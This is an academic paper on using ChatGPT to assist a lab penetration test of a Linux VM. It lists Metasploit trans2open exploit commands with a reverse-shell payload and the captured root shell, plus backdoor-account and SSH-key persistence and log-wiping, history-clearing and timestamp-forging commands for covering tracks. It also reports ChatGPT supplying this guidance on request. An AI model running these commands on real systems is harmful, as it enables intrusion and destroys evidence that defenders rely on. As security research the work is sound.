

Advancing Ethical Hacking with AI: A Linux-Based Experimental Study

Haitham S. Al-Sinani^{1,*}, Nabil Sahli^{1,*}, Chris J. Mitchell^{2,*} and Mohamed Al-Siyabi³

¹Department of Computer Science, German University of Technology in Oman, Muscat, Oman

²Department of Information Security, Royal Holloway, University of London, Egham, Surrey, TW20 0EX, UK

³Military Technological College, Muscat, Oman

Abstract

This paper investigates the integration of generative AI (GenAI) tools, like ChatGPT, into the practice of ethical hacking through a comprehensive experimental study and conceptual analysis. Conducted in a controlled virtual environment, the study evaluates GenAI's effectiveness across the key stages of penetration testing on **Linux-based** target machines operating within a virtual local area network (LAN), including reconnaissance, scanning and enumeration, gaining access, maintaining access, and covering tracks. The findings confirm that GenAI can significantly enhance and streamline the ethical hacking process while underscoring the importance of balanced human-AI collaboration rather than the complete replacement of human input. The paper also critically examines potential risks such as misuse, data biases, and over-reliance on AI. This research contributes to the ongoing discussion on the ethical use of AI in cybersecurity and highlights the need for continued innovation to strengthen security defences.

Keywords

AI, Ethical Hacking, GenAI, ChatGPT, Cybersecurity

1. Introduction

Ethical hacking, a vital security practice, requires expertise and constant updating of knowledge to remain effective. In the rapidly advancing field of cybersecurity, integrating GenAI opens new avenues for enhancing security strategies. GenAI can help overcome the time and capacity limitations of human ethical hackers, enabling more efficient security assessments. This paper explores the use of GenAI to assist ethical hacking, with a focus on improving assessments and strengthening defences against cyber threats.

To assess the practical application of GenAI in ethical hacking, we conducted a comprehensive laboratory experiment structured as a controlled cyber-attack simulation on a local network of virtual machines (VMs) hosted on VirtualBox. The primary focus was on evaluating GenAI's role and effectiveness in facilitating various stages of ethical hacking, specifically targeting Linux VMs.

This investigation aims to bridge the gap between theoretical advances in AI and its application in real-world cybersecurity scenarios. By simulating ethical hacking processes and incorporating AI-driven insights and strategies, this study provides a deeper understanding of how GenAI tools, like ChatGPT, can augment traditional cybersecurity methodologies. The findings and observations documented here contribute to the ongoing discourse in the cybersecurity community on using AI for more robust and dynamic defence mechanisms against evolving cyber threats.

The remainder of this paper is organised as follows. Section 2 introduces GenAI, and section 3 reviews related work. Section 4 outlines our methodology. Section 5 presents the laboratory setup, and section 6 details the execution of our experiment. Section 7 discusses the potential benefits and

Joint National Conference on Cybersecurity (ITASEC & SERICS 2025), February 03–08, 2025, Bologna, IT

*Corresponding author.

✉ Haitham.ALSinani@gutech.edu.om (H. S. Al-Sinani); nabil.sahli@gutech.edu.om (N. Sahli); C.Mitchell@rhul.ac.uk (C. J. Mitchell); Mohamed.Al-Siyabi@mtc.edu.om (M. Al-Siyabi)

🌐 <https://www.chrismitchell.net/> (C. J. Mitchell)

🆔 0009-0005-0453-3335 (H. S. Al-Sinani); 0000-0002-9805-6859 (N. Sahli); 0000-0002-6118-0055 (C. J. Mitchell)



© 2025 Copyright for this paper by its authors. Use permitted under Creative Commons License Attribution 4.0 International (CC BY 4.0).

risks, and section 8 summarises our conclusions and future work directions. Finally, appendix 8 lists the figures referenced in this paper.

2. Generative AI

The advent of GenAI, with models like ChatGPT¹ [1] being prominent, represents a major shift in the AI landscape. These systems, moving beyond the traditional AI focus on pattern recognition and decision-making, excel in content creation, including text, images, and code. The ability to learn from extensive datasets and produce outputs that mimic human creativity is a major advance.

The GPT (Generative Pre-trained Transformer) architecture, developed by OpenAI, forms the foundation of models like ChatGPT, which are built using deep learning techniques designed to handle sequential data through transformer models. These models undergo extensive pre-training on diverse resources, including Internet texts, followed by fine-tuning for specific tasks, allowing them to understand not only the structure of language but also its context. This deep contextual understanding enables ChatGPT to generate coherent, contextually relevant responses across various tasks, from conversations to complex activities like coding and ethical hacking. The success of GPT models, including ChatGPT, is largely attributed to the revolutionary transformer model introduced by Vaswani et al. in 2017 [2], which uses attention mechanisms to enhance sequence processing by focusing on different parts of the input based on task relevance. The latest iteration, GPT-4o², enhances speed, multimodal capabilities, and accessibility, offering improved text, voice, and image processing, making it a powerful tool in natural language processing, real-time communication, etc.

When studying the intersection of AI and cybersecurity, understanding ChatGPT's foundational aspects is vital. Its generative nature, contextual sensitivity, and adaptive learning can lead to innovative approaches in cybersecurity practices. Our focus will be on how such ChatGPT qualities can be used to support ethical hacking, exploring the technical, ethical, and practical implications.

3. Related Work

This research builds on previously published work, in which a conceptual model leveraging the capabilities of GenAI to support ethical hackers across the five stages of ethical hacking was proposed [3]. It also expands on a proof-of-concept implementation used to conduct an initial experimental study on the integration of AI into ethical hacking on target Windows VMs [4].

The intersection of AI and cybersecurity is a highly active area of research, with studies ranging from AI's role in detecting intrusions to aiding in offensive security including ethical hacking. The rise of sophisticated language models like GPT-3, introduced by Brown et al. [1], has expanded research possibilities by enabling strong performance on various tasks, including in cybersecurity as demonstrated in this paper. Handa et al. [5] review the application of machine learning in cybersecurity, emphasising its role in areas like zero-day malware detection and anomaly-based intrusion detection, while also addressing the challenge of adversarial attacks on these algorithms. Other studies, including that by Gupta et al. [6], dualise AI's role, showing how it could be used both for cyberattacks and for cyber defence.

A study by Harrison et al. [7] shows that AI deep learning algorithms can significantly improve acoustic side-channel attacks, enabling accurate keystroke detection via common devices like smartphones and Zoom. This raises concerns about stealing sensitive data without physical access. A panel discussion [8] also highlighted AI's dual role in enhancing cybersecurity and introducing risks through adversarial attacks. More recently, Jiang et al. [9] introduced 'ArtPrompt,' an ASCII art attack that bypasses safety measures in large language models like GPT-4, revealing the need for stronger AI robustness.

¹<https://openai.com/blog/chatgpt>

²<https://openai.com/index/hello-gpt-4o/>

Our work seeks to expand on these discussions, exploring GenAI’s role across all stages of ethical hacking — a topic that remains under-explored in the existing literature. We aim to provide a comprehensive framework for integrating generative language models into ethical hacking, evidencing AI’s multifaceted role in cybersecurity. We also seek to empirically validate claims and assertions regarding the capabilities of ChatGPT in the ethical hacking domain through a series of controlled, research-driven, lab-based experiments.

4. GenAI-Augmented Ethical Hacking Methodology

While previous work [3] has detailed the general integration of GenAI as an augmentation model in ethical hacking, this paper focuses on its implementation within Linux-based environments. The experimental research adhered to the structured phases of ethical hacking, incorporating GenAI’s guidance at each stage.

1. **Reconnaissance:** GenAI was used to gather and analyse information about the target VMs, including scanning to discover live machines.
2. **Scanning and Enumeration:** Network and vulnerability scanning was performed using tools such as nmap, with GenAI assisting in interpreting the scan results and identifying potential vulnerabilities.
3. **Gaining Access (Linux VM):** This phase focused on exploiting identified vulnerabilities using the Metasploit framework. GenAI assisted in selecting and configuring the appropriate exploit.
4. **Maintaining & Elevating Access:** GenAI suggested methods for maintaining access, such as creating backdoors and escalating privileges within the compromised system.
5. **Covering Tracks & Documentation:** In this phase, GenAI advised on strategies to erase traces of the penetration test, thereby reducing the likelihood of detection by system administrators. This included log manipulation and account removal. Additionally, GenAI assisted in documenting the ethical hacking process, ensuring comprehensive reporting of methodologies, findings, and recommendations for enhancing system security.

5. Laboratory Setup

5.1. Physical Host and Virtual Environment Configuration

The experiment used a MacBook Pro with 16 GB RAM, a 2.8 GHz Quad-Core Intel Core i7 processor, and 1 TB of storage, providing sufficient computational capabilities for our work. Virtualisation of the network was achieved using VirtualBox 7, a reliable tool for creating and managing virtual machine environments. The virtual setup included the following VMs.

1. **Kali Linux VM:** this machine functioned as the primary attack platform for conducting the penetration tests. It is equipped with the necessary tools and applications for ethical hacking.
2. **Windows VM:** this machine, running a 64-bit version of Windows Vista with a memory allocation of 512 MB, was the principal target for penetration testing within a previously conducted experiment [4].
3. **Linux VM:** this machine, operating on a 64-bit Linux Debian system and allocated 512 MB of memory, is the primary focus of this paper.

The network configuration was established using a local NAT (Network Address Translation) setup, allowing for seamless communication between the VMs and simulating a realistic network environment suitable for penetration testing.

5.2. GenAI Tool

The experiment leveraged ChatGPT-4o³ (a paid version) for its advanced AI capabilities and efficient response time. Of course, other GenAI tools are also available, e.g. Google's Bard⁴ and GitHub's Co-Pilot⁵, which could potentially be used in similar contexts. The methodologies and processes described here are applicable to both the paid and free versions of ChatGPT.

6. Execution

We now summarise the experimental procedure for each stage.

6.1. Reconnaissance

There are two main types of reconnaissance (recon): 'passive recon', which entails passive observation without active engagement; and, 'active recon' that involves engaging with the target to prompt responses for observation. The emphasis here is on active reconnaissance; therefore, we followed the steps listed below.

1. Since we are starting a new ChatGPT session, we first inform ChatGPT about our VM setup.
2. As an integral part of the initial reconnaissance phase, the aim is to identify active machines within the target network in order to select a target. To achieve this, we posed the following question to ChatGPT: "I'm currently in the initial stage of ethical hacking, known as 'reconnaissance'. Could you please provide a list of the top 4 commands I can use on my Kali machine to find out which devices are currently active on my local network?". ChatGPT responded with a useful compilation of potential Kali terminal commands, including nmap, netdiscover, and arp-scan, along with examples of their use.
3. We next turned to our the Kali 'attack' machine, applying the ChatGPT recommendations. As a result, we successfully identified the active devices within the target network.
4. To determine the IP address of the Kali 'attack' machine, we used the 'hostname' command with the '-I' option.
5. To find potential target machines, the IP addresses of the Kali host, the standard default gateway, and the DHCP server can be excluded. To simplify this process and avoid the need to remember the relevant commands, ChatGPT can be consulted for guidance. We first asked ChatGPT for the commands to display the IP addresses of our Kali machine, the standard default gateway, and the DHCP server. We thus executed these commands. We next asked ChatGPT to analyse the output from the 'arp-scan' command, which lists active network nodes, and the results from displaying the IP addresses for default IP addresses to identify the role of each IP address, such as Kali machine, DHCP server, etc. ChatGPT performed this analysis and provided responses in a question-and-answer format.
6. As a result of the analysis presented above, we identified the VMs with the IP addresses 192.168.1.6 and 192.168.1.7 as potential targets. This allowed us to proceed to the second scanning stage.

6.2. Scanning and Enumeration

During this stage, ethical hackers typically use automated tools to scan a target system or network for vulnerabilities. This can include port scanning, vulnerability scanning, etc. In our specific scenario, the system demanding scanning attention is the Linux machine with IP address: '192.168.1.7'.

To initiate this phase, we asked ChatGPT for key commands for gathering comprehensive information about the specific target (192.168.1.7) using our Kali machine. We informed ChatGPT that the goal

³<https://openai.com/index/hello-gpt-4o/>

⁴<https://bard.google.com/>

⁵<https://github.com/features/copilot/>

was to gather extensive intelligence on this system in preparation for an attack. In response, ChatGPT provided a concise list of potential scanning commands, including **nmap**. Interestingly, this output is significantly more comprehensive than that which ChatGPT produced a year previously when a similar question was asked for a different VM (Windows) [4], demonstrating the model's improvement over time.

We further engaged with ChatGPT, requesting a single 'nmap' command that could gather as much information as possible about the target (192.168.1.7), including scanning all ports and saving the output in all supported 'nmap' formats. ChatGPT correctly recommended the command '**nmap -p- -A -T4 -oA scan_results 192.168.1.7**', providing a detailed breakdown of the command's options. The options in this 'nmap' command have the following effects: **-p-**: scans all 65,535 TCP ports; **-A**: enables OS detection, version detection, script scanning, and traceroute; **-T4**: sets the timing template to 'aggressive' for faster scanning; and **-oA scan_results**: saves the output in all three major 'nmap' formats (.nmap, .xml, and .gnmap) with the base name 'scan_results'.

We then executed the ChatGPT-suggested command '**nmap -p- -A -T4 -oA scan_results 192.168.1.7**' to perform a comprehensive scan of the target machine. We then asked ChatGPT to analyse these results and provide suggestions for potential unauthorised access routes, preparatory for the next phase in which we attempt to gain access.

6.3. Gaining Access

In this phase, we sought guidance from ChatGPT to gain access to the Linux VM with the IP address '192.168.1.7' using our Kali attack machine. To streamline the process, we decided to exploit an SMB-related vulnerability via Metasploit. The 'nmap' scan revealed that the target machine supports SMB version 2, which is outdated and known to have vulnerabilities. ChatGPT provided a detailed guide on how to use Metasploit to confirm the SMB version, as shown in Fig. 1, which we followed. We started Metasploit with the command 'msfconsole', selected the 'auxiliary/scanner/smb/smb_version' module, set the target IP with 'set RHOSTS 192.168.1.7', and executed the module with 'run'. The Metasploit output confirmed the 'nmap' results, indicating that our target indeed supports SMB version 2.

Following this confirmation, we asked ChatGPT which vulnerability possessed by Metasploit could be exploited to gain access. ChatGPT recommended the use of the "Samba 'trans2open' overflow" exploit, which is specifically designed to target older versions of Samba, such as 2.2.1a. ChatGPT also provided step-by-step instructions on how to exploit this vulnerability using Metasploit.

We followed ChatGPT's instructions to exploit the well-known trans2open vulnerability. However, when we attempted to run the exploit, we encountered an error since the payload suggested by ChatGPT was incompatible. This demonstrates that, while ChatGPT is a powerful tool, it is not infallible and can make mistakes. We presented the error directly to ChatGPT without specifically requesting a solution, and ChatGPT promptly suggested a fix. We applied the suggested fix, and successfully gained root access to the target Linux machine.

To summarise, to gain access to our target using the 'trans2open' exploit via Metasploit, we started Metasploit with 'msfconsole', selected the exploit module with 'use exploit/linux/samba/trans2open', set the payload with 'set payload linux/x86/shell/reverse_tcp', configured the target IP with 'set RHOSTS 192.168.1.7', set the 'LHOST' to the attacking machine's IP (192.168.1.4), accepted the default 'LPORT' of 4444, and, finally, ran the exploit with 'run'.

6.4. Maintaining Access

In this phase, the objective is to ensure we can re-enter the target system in future, ideally without being detected. Typically, achieving persistent access requires elevated privileges, often in the form of administrator or root access. As a result, we could ask ChatGPT to assist us in elevating our access level. Helpfully, in the previous stage, we successfully exploited the 'trans2open' vulnerability, which granted us root access (see Fig. 2), the highest possible level of access.

We next consulted ChatGPT for guidance on maintaining persistent access. In response, ChatGPT provided a list of suggestions. These recommendations include creating a new root user for alternative access, setting up a reverse shell, installing an SSH key for password-less access, establishing a cron job for regular reverse shell connections, and backing up important files. We next attempted to implement two of these approaches, as outlined below.

6.4.1. Creating a New User

We first created a new root user employing the command `'useradd -m -s /bin/bash -G root Haith'`. This command creates a new user named 'Haith', sets up a home directory at `/home/Haith` with the `-m` option, assigns `/bin/bash` as the default shell with the `-s` option, and includes the user in the root group with the `-G` option, thereby granting elevated permissions. We further used the command `'passwd Haith'` to set up a new password for the newly added user. We verified that the user was indeed added by checking for a new entry in both the `/etc/passwd` and `/etc/shadow` files. We also confirmed that the user was added to the root group using the command `'groups Haith'`, and by also reviewing the `/etc/sudoers` file. Subsequently, we tested this by restarting the Linux target machine and successfully confirmed our ability to log in using the newly created user through the standard Linux login procedure. Since port 22 is open, we established an SSH session using the newly added user credentials, which provided a more stable shell with double-tab auto-completion and history features enabled by default. This SSH session can be established even after reboots, as long as the target machine (192.168.1.7) remains operational.

6.4.2. Enabling SSH Password-less Access

To further evaluate ChatGPT's capabilities, we requested a step-by-step guide for enabling password-less SSH public-key authentication from our Kali machine (192.168.1.4) to the Linux target (192.168.1.7). While ChatGPT's initial response was useful, it was not entirely accurate. After a series of interactions, we managed to prompt ChatGPT to add the missing steps and provide a more precise explanation. This reinforces the conclusion that relying on human-AI collaboration is crucial, rather than solely depending on AI to replace human input.

To enable password-less SSH access, we first generated an SSH key pair on the Kali machine using `'ssh-keygen -t rsa -b 4096'`. We next copied the public key to the target machine by executing the command `'ssh-copy-id user@192.168.1.7'` on our Kali machine. We also enabled SSH public-key, password-less authentication on the target machine by adding `'PubkeyAuthentication yes'` to the `'/etc/ssh/sshd_config'` file, and then restarted the SSH service with `'sudo systemctl restart sshd'`. In addition, we ensured correct file permissions on the target machine with the commands: `'chmod 700 /.ssh && chmod 600 /.ssh/authorized_keys'`. Finally, we tested the connection from the attacking Kali machine using the command: `'ssh user@192.168.1.7'`.

6.5. Covering Tracks and Documentation

This (final) ethical hacking phase has two main components:

1. **covering our tracks**, which involves erasing or minimising evidence of our activities within the target system, crucial to avoid detection and maintain the system as close to its original state as possible; and
2. **documentation**, involving creating the necessary pen-test report.

6.5.1. Covering Tracks

First, aiming to remain undetected, we asked ChatGPT for guidance. ChatGPT provided a list of actions, including the following.

- **Clear Command History:** Clear the current session's history and remove the history file using 'history -c && history -w' and 'rm /.bash_history'.
- **Disable Future History Logging:** Disable history logging for the session with 'unset HISTFILE', 'export HISTSIZE=0', and 'export HISTFILESIZE=0'.
- **Remove Log Entries:** Empty critical log files without deleting them using 'echo > /var/log/auth.log', 'echo > /var/log/syslog', and 'echo > /var/log/secure'.
- **Clean SSH Artifacts:** Remove the SSH key and check SSH logs for the hacking activities using 'rm /.ssh/authorized_keys' and 'sudo nano /var/log/auth.log'.
- **Delete Temporary Files:** Remove temporary files that could reveal the pen-test activities using 'rm -rf /tmp/*' and 'rm -rf /var/tmp/*'.
- **Remove 'Haith' User:** Delete the 'Haith' user and the corresponding home directory using 'userdel -r Haith'.
- **Clear Scheduled Tasks:** Remove all cron jobs for the current user with 'crontab -r'.
- **Flush ARP Cache:** Clear the ARP cache to remove traces in the network.
- **Reset Terminal and Exit:** Clear the terminal screen and exit the shell cleanly using 'reset' and 'exit'.

To underscore the significance of AI-human collaboration, we observed that ChatGPT omitted certain crucial steps for covering tracks, specifically updating timestamps and using the shred command. We, thus, consulted ChatGPT about these two commands, as outlined next.

6.5.2. Updating Timestamps for Track Covering

In response to our query, ChatGPT outlined the process for modifying file timestamps to cover tracks. This involves using 'stat filename' to display the current access, modification, and change times. One can then update these timestamps as follows: set both access and modification times to a specific date and time with 'touch -t YYYYMMDDHHMM filename'; modify only the access time with 'touch -a -t YYYYMMDDHHMM filename'; adjust only the modification time with 'touch -m -t YYYYMMDDHHMM filename'; or align the timestamps of a file with those of another file using 'touch -r reference_file target_file'. Finally, we verified the changes using 'stat filename'.

6.5.3. Using shred for Secure File Deletion

In response to our question, ChatGPT explained that shred is a command-line utility in Linux used to securely delete files by overwriting their contents with random data multiple times, making it extremely difficult to recover the original data. The command 'shred -uvfz -n 5 old_authorized_keys' operates as follows: **-u**: unlinks (deletes) the file after shredding; **-v**: displays verbose progress of the shredding operation; **-f**: forces shredding of files even if they are read-only; **-z**: adds a final overwrite with zeros to obscure the fact that the file was shredded; and, **-n 5**: specifies that the file should be overwritten 5 times with random data. In this example, the command securely deletes the file old_authorized_keys by overwriting it five times with random data, adding a final overwrite with zeros, showing progress, forcing the operation even if the file is read-only, and then deleting the file.

6.5.4. Documentation

Ethical hackers need to produce a comprehensive and thorough report for each penetration testing assignment. To ensure the quality and completeness of our report, we enlisted ChatGPT's assistance in composing a detailed report for our simulated penetration testing assignment using the information already present in this paper.

We first asked ChatGPT about the key sections of a standard penetration testing report. ChatGPT provided a template that we could use to structure our report, along with guidance on what to include in each section. Following this, we requested ChatGPT to draft a standard penetration testing report

based on this research paper, where we simply copied and pasted all the relevant sections into the ChatGPT prompt. We instructed ChatGPT to ensure that all key sections were included and to simulate a real-world penetration testing assignment as closely as possible, rather than presenting it merely as a research exercise. ChatGPT responded with a well-written and accurate penetration test report, including sections such as 'Executive Summary,' 'Introduction,' 'Methodology,' 'Findings and Results,' 'Attack Narrative,' and 'Conclusions and Recommendations,' along with suggestions for 'Appendices.' In subsequent interactions with ChatGPT, we further refined and enhanced the report, adding details such as its author, the time period, and the date (see Figs. 3 and 4).

In summary, this report presents the findings and results of a penetration testing assignment aimed at evaluating the security of a Linux VM operating as a node within a virtual LAN environment. The test uncovered a critical vulnerability in the outdated SMB service, which was exploited to gain root access to the system. Persistent access was established by creating a new root user and enabling password-less SSH authentication, while evidence of the penetration test was effectively covered. The report, titled *Penetration Test Report for Linux-Based Systems*, includes key sections such as Scope, Methodology, Findings, Risk Analysis, and Recommendations, and recommends immediate updates to the SMB service, hardening SSH configurations, and ongoing vulnerability assessments to strengthen the system's security posture.

7. Discussion: Benefits and Risks

Ethical hacking, a critical component of comprehensive security strategies, is a promising arena for the application of advanced AI systems like ChatGPT. Using the generative and understanding capabilities of ChatGPT we can envision a paradigm shift in how security assessments and penetration tests are conducted.

ChatGPT's potential in automating the scripting and execution of penetration tests is very significant. The model's capacity to write code enables it to generate custom scripts tailored to specific environments or scenarios. It could potentially analyse a target system's architecture and suggest relevant tests, thereby streamlining the reconnaissance phase of ethical hacking.

Beyond scripting, the interactive nature of ChatGPT makes it an ideal assistant for real-time problem-solving during penetration testing. Ethical hackers can consult the model for troubleshooting, brainstorming exploitation strategies, or even for learning about novel vulnerabilities and techniques on-the-fly. Its vast knowledge base can act as an immediate reference for the latest Common Vulnerabilities and Exposures (CVEs) and mitigation strategies.

The adaptability of ChatGPT also suggests a role in social engineering simulations. It could craft credible phishing emails and create dialogue for vishing (voice phishing). This would enable organisations to better train their staff against a variety of social engineering attacks.

From a defensive standpoint, ChatGPT can be used to simulate an attacker's mindset and tactics. It can help in generating hypothetical attack scenarios, thereby allowing security teams to better prepare and defend against potential breaches. Moreover, the AI's capability to interpret a wide range of data could be pivotal in anomaly detection, effectively identifying unusual patterns that may signify a security threat.

However, when integrating AI, particularly ChatGPT, into ethical hacking, a thorough examination of ethical considerations is essential. Using AI in cybersecurity aids efficiency and effectiveness but also raises serious concerns around data privacy, informed consent, and potential misuse. The reliance on advanced AI systems like ChatGPT poses risks, such as the unintentional discovery and exploitation of zero-day vulnerabilities. This could inadvertently provide malicious actors with powerful tools to exploit these vulnerabilities before they are known to the broader security community. Moreover, the automation of processes like social engineering by AI raises significant ethical questions. These tools could be misused to conduct highly sophisticated cyber-attacks, blurring the boundary of ethical hacking practices.

AI systems inherently process vast amounts of data, some of which may be sensitive or personal,

thus their use necessitates strict adherence to data privacy laws and ethical guidelines. Ensuring that the data used for training and operation is in compliance with privacy laws and ethical guidelines becomes paramount to maintaining the integrity of cybersecurity efforts. The ethical hacking principles of “legality, non-disclosure, and intent to do no harm” must be rigorously upheld in the AI domain to prevent unauthorised or unintended use. Additionally, AI-facilitated simulations of cyber-attacks for training or testing must involve fully informed consent from all parties. Moreover, the risk of ChatGPT generating inaccurate or fabricated information —known as hallucination— can result in misguided decisions in cybersecurity. This underscores the importance of human-AI collaboration, vigilant oversight, and robust ethical standards in the field of AI-assisted cybersecurity.

In conclusion, combining ChatGPT’s AI capabilities with ethical hacking offers a promising new frontier in cybersecurity. With its sophisticated language processing and generation abilities, ChatGPT could revolutionise the way ethical hacking is performed, making it more efficient, comprehensive, and up-to-date with current threats. However, this technological leap forward must be approached with caution, ensuring that its application in ethical hacking aligns with the highest standards of security and ethical practice.

8. Conclusions and Future Work

We have proposed an approach to enhancing ethical hacking by using GenAI, specifically ChatGPT. This approach was validated through a comprehensive experimental study and conceptual analysis conducted within a controlled virtual environment. Our evaluation in this paper concentrated on Linux-based target machines within a virtual local area network, covering all key stages of ethical hacking, including reconnaissance, scanning and enumeration, gaining access, maintaining access, covering tracks, and reporting.

The study confirms that ChatGPT can significantly enhance and streamline the ethical hacking process, particularly by providing support in decision-making and automating repetitive tasks. However, our research also shows the critical importance of maintaining a balanced human-AI collaboration. AI should complement, not replace, human expertise in cybersecurity, to mitigate potential risks such as hallucination, misuse, data biases, and AI over-reliance.

Looking forward, future work should explore the potential application of AI in cybersecurity in more diverse and complex environments beyond Linux-based systems. The work described here sets the basis for a series of future, hands-on, research-driven experiments aimed at not only further substantiating the claims made in this paper but also at refining it to encompass a wider array of hacking domains. Future efforts will concentrate on using ChatGPT for penetration testing in environments operating on MacOS, android and iOS, thereby broadening the reach of our research. Additionally, we plan to widen the application of our methods across various ethical hacking fields, including privilege escalation, wireless security, the OWASP top 10 (web⁶ and mobile⁷) vulnerabilities, and mobile app security. Through these experiments, we will continually refine the ChatGPT-penetration testing model to adapt to evolving cyber threats and future attack vectors.

Declaration on Generative AI

During the preparation of this work, the authors used ChatGPT to enhance the overall quality of the English language, including grammar and spelling. Following the use of such GenAI tools, the authors thoroughly reviewed and edited the content as necessary and take full responsibility for the final publication.

⁶<https://owasp.org/www-project-top-ten/>

⁷<https://owasp.org/www-project-mobile-top-10/>

References

- [1] T. B. Brown, et al., Language models are few-shot learners, in: H. Larochelle, M. Ranzato, R. Hadsell, M. Balcan, H. Lin (Eds.), *Advances in Neural Information Processing Systems 33: Annual Conference on Neural Information Processing Systems 2020, NeurIPS 2020*, December 6–12, 2020, virtual, 2020. URL: <https://proceedings.neurips.cc/paper/2020/hash/1457c0d6bfc4967418bfb8ac142f64a-Abstract.html>.
- [2] A. Vaswani, N. Shazeer, N. Parmar, J. Uszkoreit, L. Jones, A. N. Gomez, L. Kaiser, I. Polosukhin, Attention is all you need, in: I. Guyon, U. von Luxburg, S. Bengio, H. M. Wallach, R. Fergus, S. V. N. Vishwanathan, R. Garnett (Eds.), *Advances in Neural Information Processing Systems 30: Annual Conference on Neural Information Processing Systems 2017*, December 4–9, 2017, Long Beach, CA, USA, 2017, pp. 5998–6008. URL: <https://proceedings.neurips.cc/paper/2017/hash/3f5ee243547dee91fbd053c1c4a845aa-Abstract.html>.
- [3] H. S. Al-Sinani, C. J. Mitchell, N. Sahli, M. Al-Siyabi, Unleashing AI in ethical hacking, in: F. Martinelli, R. Rios (Eds.), *Security and Trust Management - 20th International Workshop, STM '24*, Bydgoszcz, Poland, September 19–20, 2024, *Proceedings*, volume 15235 of *Lecture Notes in Computer Science*, Springer, 2024, pp. 140–151. URL: https://doi.org/10.1007/978-3-031-76371-7_10.
- [4] H. S. Al-Sinani, C. J. Mitchell, Unleashing AI in Ethical Hacking: A Preliminary Experimental Study, Technical Report, Royal Holloway, University of London, 2024. https://pure.royalholloway.ac.uk/files/58692091/TechReport_UnleashingAIinEthicalHacking.pdf.
- [5] A. Handa, A. Sharma, S. K. Shukla, Machine learning in cybersecurity: A review, *WIREs Data Mining and Knowledge Discovery* 9 (2019) e1306. URL: <https://doi.org/10.1002/widm.1306>. arXiv:<https://wires.onlinelibrary.wiley.com/doi/pdf/10.1002/widm.1306>.
- [6] M. Gupta, C. Akiri, K. Aryal, E. Parker, L. Praharaj, From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy, *IEEE Access* 11 (2023) 80218–80245. URL: <https://doi.org/10.1109/ACCESS.2023.3300381>.
- [7] J. Harrison, E. Toreini, M. Mehrnezhad, A practical deep learning-based acoustic side channel attack on keyboards, in: *IEEE European Symposium on Security and Privacy, EuroS&P 2023 — Workshops*, Delft, Netherlands, July 3–7, 2023, IEEE, 2023, pp. 270–280. URL: <https://doi.org/10.1109/EuroSPW59978.2023.00034>.
- [8] E. Bertino, M. Kantarcioglu, C. G. Akcora, S. Samtani, S. Mittal, M. Gupta, AI for security and security for AI, in: A. Joshi, B. Carminati, R. M. Verma (Eds.), *CODASPY '21: Eleventh ACM Conference on Data and Application Security and Privacy*, Virtual Event, USA, April 26–28, 2021, ACM, 2021, pp. 333–334. URL: <https://doi.org/10.1145/3422337.3450357>.
- [9] F. Jiang, Z. Xu, L. Niu, Z. Xiang, B. Ramasubramanian, B. Li, R. Poovendran, ArtPrompt: ASCII Art-based Jailbreak Attacks against Aligned LLMs, Technical Report, 2024. URL: <https://doi.org/10.48550/arXiv.2402.11753>. arXiv:2402.11753.

Appendix A

The Nmap output indicates that the SMB version is 2, which is outdated and vulnerable. Very briefly, how can I use Metasploit to verify that the target indeed supports SMB2?



To verify that the target supports SMB2 using Metasploit, follow these steps:

1. **Start Metasploit:**

```
bash
```

[Copy code](#)

```
msfconsole
```

2. **Load the SMB Version Scanner:**

```
bash
```

[Copy code](#)

```
use auxiliary/scanner/smb/smb_version
```

3. **Set the Target IP:**

```
bash
```

[Copy code](#)

```
set RHOSTS 192.168.1.7
```

4. **Run the Module:**

```
bash
```

[Copy code](#)

```
run
```

This will confirm if the target supports SMB2 and provide additional details about the SMB version.

Figure 1: ChatGPT guides on verifying SMB version

```
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.1.4:4444
[*] 192.168.1.7:139 - Trying return address 0xbffffdfc ...
[*] 192.168.1.7:139 - Trying return address 0xbffffcfc ...
[*] 192.168.1.7:139 - Trying return address 0xbffffbfc ...
[*] 192.168.1.7:139 - Trying return address 0xbffffafc ...
[*] Sending stage (36 bytes) to 192.168.1.7

[*] 192.168.1.7:139 - Trying return address 0xbffff9fc ...
[*] Sending stage (36 bytes) to 192.168.1.7
[*] 192.168.1.7:139 - Trying return address 0xbffff8fc ...
[*] Sending stage (36 bytes) to 192.168.1.7
[*] 192.168.1.7:139 - Trying return address 0xbffff7fc ...
[*] Sending stage (36 bytes) to 192.168.1.7
[*] 192.168.1.7:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 5 opened (192.168.1.4:4444 → 192.168.1.7:32773) at 2024-08-20 15:50:02

[*] Command shell session 6 opened (192.168.1.4:4444 → 192.168.1.7:32774) at 2024-08-20 15:50:03

[*] Command shell session 7 opened (192.168.1.4:4444 → 192.168.1.7:32775) at 2024-08-20 15:50:04

[*] Command shell session 8 opened (192.168.1.4:4444 → 192.168.1.7:32776) at 2024-08-20 15:50:05
whoami
root
hostname
kioptrix.level1
```

Figure 2: Linux VM rooted!

Title: Penetration Test Report for Linux-Based Systems

Client: [Client Name]

Date: 27 August 2024

Duration: 8 hours

Pen-tester: [Pen-tester's Name], conducting penetration testing operations from [Location], during the monsoon season (Khareef).

1. Executive Summary

This penetration test was conducted on 27 August 2024, targeting a Linux-based virtual machine within a controlled environment. The purpose of this engagement was to evaluate the security posture of the client's Linux system and identify potential vulnerabilities that could be exploited by attackers. The test employed both manual techniques and automated tools, including the integration of AI (specifically ChatGPT) to enhance various stages of the penetration testing process.

Key findings include the identification of an outdated and vulnerable SMB service, which was exploited to gain root access to the system. The report also outlines recommendations to address these vulnerabilities and improve the overall security posture.

2. Scope

- **Target:** Linux Virtual Machine (Debian-based, IP: 192.168.1.7)
- **Environment:** VirtualBox 7 on MacBook Pro (16 GB RAM, 2.8 GHz Quad-Core Intel Core i7, 1 TB storage)
- **Tools Used:**
 - ChatGPT-4 (for AI-assisted guidance)
 - Kali Linux VM (as the attack platform)
 - Metasploit Framework (for exploitation)
 - Nmap (for network scanning)

3. Methodology

The penetration test followed a structured approach based on the following stages:

1. Reconnaissance:

- Active reconnaissance techniques were used to gather information about the target network.
- Tools like `nmap`, `netdiscover`, and `arp-scan` were utilised to identify live hosts and their associated IP addresses.

2. Scanning:

- The target system was scanned using `nmap` to identify open ports, services, and potential vulnerabilities.
- A comprehensive scan was conducted with the command `nmap -p- -A -T4 -oA scan_results 192.168.1.7`.

Figure 3: ChatGPT-produced PenTest report — (part 1/2)

3. Gaining Access:

- Exploitation focused on an SMB vulnerability identified during the scanning phase.
